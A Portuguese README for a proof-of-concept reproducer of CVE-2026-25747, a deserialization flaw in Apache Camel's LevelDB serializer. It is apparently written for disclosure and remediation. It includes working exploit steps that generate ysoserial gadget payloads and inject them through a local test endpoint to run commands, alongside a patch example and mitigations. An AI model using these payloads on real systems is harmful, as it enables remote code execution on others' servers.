
CVE-2026-25747 - Vulnerabilidade de desserialização no Camel LevelDB
| Propriedade | Valor |
|---|
| Componente | camel-leveldb |
| Classe Afetada | DefaultLevelDBSerializer.java |
| Métodos Vulneráveis | deserializeKey(), deserializeExchange() |
| CWE | CWE-502: Desserialização de Dados Não Confiáveis |
| Impacto | Execução Remota de Código (RCE) |
| Versões Afetadas | Todas as versões incluindo 4.17.0 (não corrigida até o teste) |
A classe DefaultLevelDBSerializer usa ObjectInputStream bruto sem qualquer filtragem:
// DefaultLevelDBSerializer.java lines 42-47
public String deserializeKey(byte[] buffer) throws IOException {
try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
return (String) ois.readObject(); // SEM FILTRAGEM!
}
}
// Lines 63-71
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
return deserializeExchange(camelContext, buffer, b -> {
try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
return (DefaultExchangeHolder) ois.readObject(); // SEM FILTRAGEM!
}
});
}
Compare com a implementação corrigida do Cassandra (desde Camel 4.4.0):
// CassandraCamelCodec.java - PROTEGIDO
private Object deserialize(CamelContext camelContext, InputStream bytes, String deserializationFilter) {
ObjectInputStream objectIn = new ClassLoadingAwareObjectInputStream(classLoader, bytes);
objectIn.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
// Filtro: "java.**;org.apache.camel.**;!*" - bloqueia classes gadget
return objectIn.readObject();
}
cd potential-leveldb
mvn clean package -DskipTests
mvn spring-boot:run
# Primeiro, inicialize o banco de dados LevelDB (cria diretório e adiciona uma entrada de teste)
curl http://localhost:8080/exploit/init
Saída esperada:
LevelDB inicializado com sucesso!
Caminho do banco de dados: /tmp/leveldb-exploit/aggregation.db
Nome do repositório: myrepo
Adicionada troca de teste com chave: test-key
Agora você pode injetar um payload malicioso com POST /exploit/inject
Baixe o ysoserial e gere um payload:
# Baixe o ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Gere payload que executa um comando (ex.: abrir calculadora, tocar arquivo, etc.)
# Para Linux:
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | xxd -p | tr -d '\n' > payload.txt
# Para macOS:
java -jar ysoserial-all.jar CommonsCollections7 "open -a Calculator" | xxd -p | tr -d '\n' > payload.txt
# Para Windows:
java -jar ysoserial-all.jar CommonsCollections7 "calc.exe" | xxd -p | tr -d '\n' > payload.txt
# Injete o objeto serializado malicioso no LevelDB
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" \
-d @payload.txt
Saída esperada:
Payload malicioso injetado no LevelDB!
Tamanho do payload: XXXX bytes
Chave: myrepo^@malicious-key
O payload será desserializado quando:
1. A aplicação reiniciar e recuperar agregações
2. Uma operação get() for realizada nesta chave
3. O mecanismo de varredura/recuperação executar
# Acione a vulnerabilidade lendo do LevelDB
curl http://localhost:8080/exploit/trigger
Isso irá iterar por todas as chaves e chamar repo.get() que aciona a desserialização!
# Verifique se o comando foi executado
ls -la /tmp/pwned
Se o arquivo /tmp/pwned existir, a exploração foi bem-sucedida!
A vulnerabilidade pode ser acionada por múltiplos caminhos:
get() no repositório aciona a desserializaçãoPara exploração bem-sucedida:
Acesso de Escrita ao LevelDB: O atacante deve poder escrever no arquivo do banco de dados LevelDB
Biblioteca Gadget no Classpath: Uma biblioteca com cadeias gadget exploráveis deve estar presente
commons-collections:3.2.1 (gadgets CommonsCollections1-7)org.springframework:spring-core (gadgets Spring)| Aspecto | Cassandra (CVE-2024-23114) | LevelDB (Este Problema) |
|---|---|---|
| Status | Corrigido na 4.4.0 | NÃO CORRIGIDO na 4.17.0 |
| ObjectInputStream | Usa ClassLoadingAwareObjectInputStream | Usa ObjectInputStream bruto |
| Filtro de Desserialização | "java.**;org.apache.camel.**;!*" | Nenhum |
| JIRA | CAMEL-20306 | Ainda não registrado |
Aplique a mesma correção do Cassandra:
ClassLoadingAwareObjectInputStream em vez de ObjectInputStream brutoObjectInputFilter configurável com padrões seguros"java.**;org.apache.camel.**;!*"Exemplo de correção para DefaultLevelDBSerializer.java:
private String deserializationFilter = "java.**;org.apache.camel.**;!*";
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
ClassLoader classLoader = camelContext.getApplicationContextClassLoader();
try (ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(classLoader,
new ByteArrayInputStream(buffer))) {
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
DefaultExchangeHolder holder = (DefaultExchangeHolder) ois.readObject();
// ... resto da desserialização
}
}
Até que uma correção seja lançada:
JacksonLevelDBSerializer em vez de DefaultLevelDBSerializerpotential-leveldb/
├── pom.xml # Configuração Maven com deps vulneráveis
├── README.md # Este arquivo
└── src/main/java/com/example/
├── Application.java # Ponto de entrada Spring Boot
├── LevelDBRoute.java # Rota Camel usando agregação LevelDB
├── StringAggregationStrategy.java
└── ExploitController.java # Endpoints REST para exploração
Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados. Não use contra sistemas sem permissão explícita.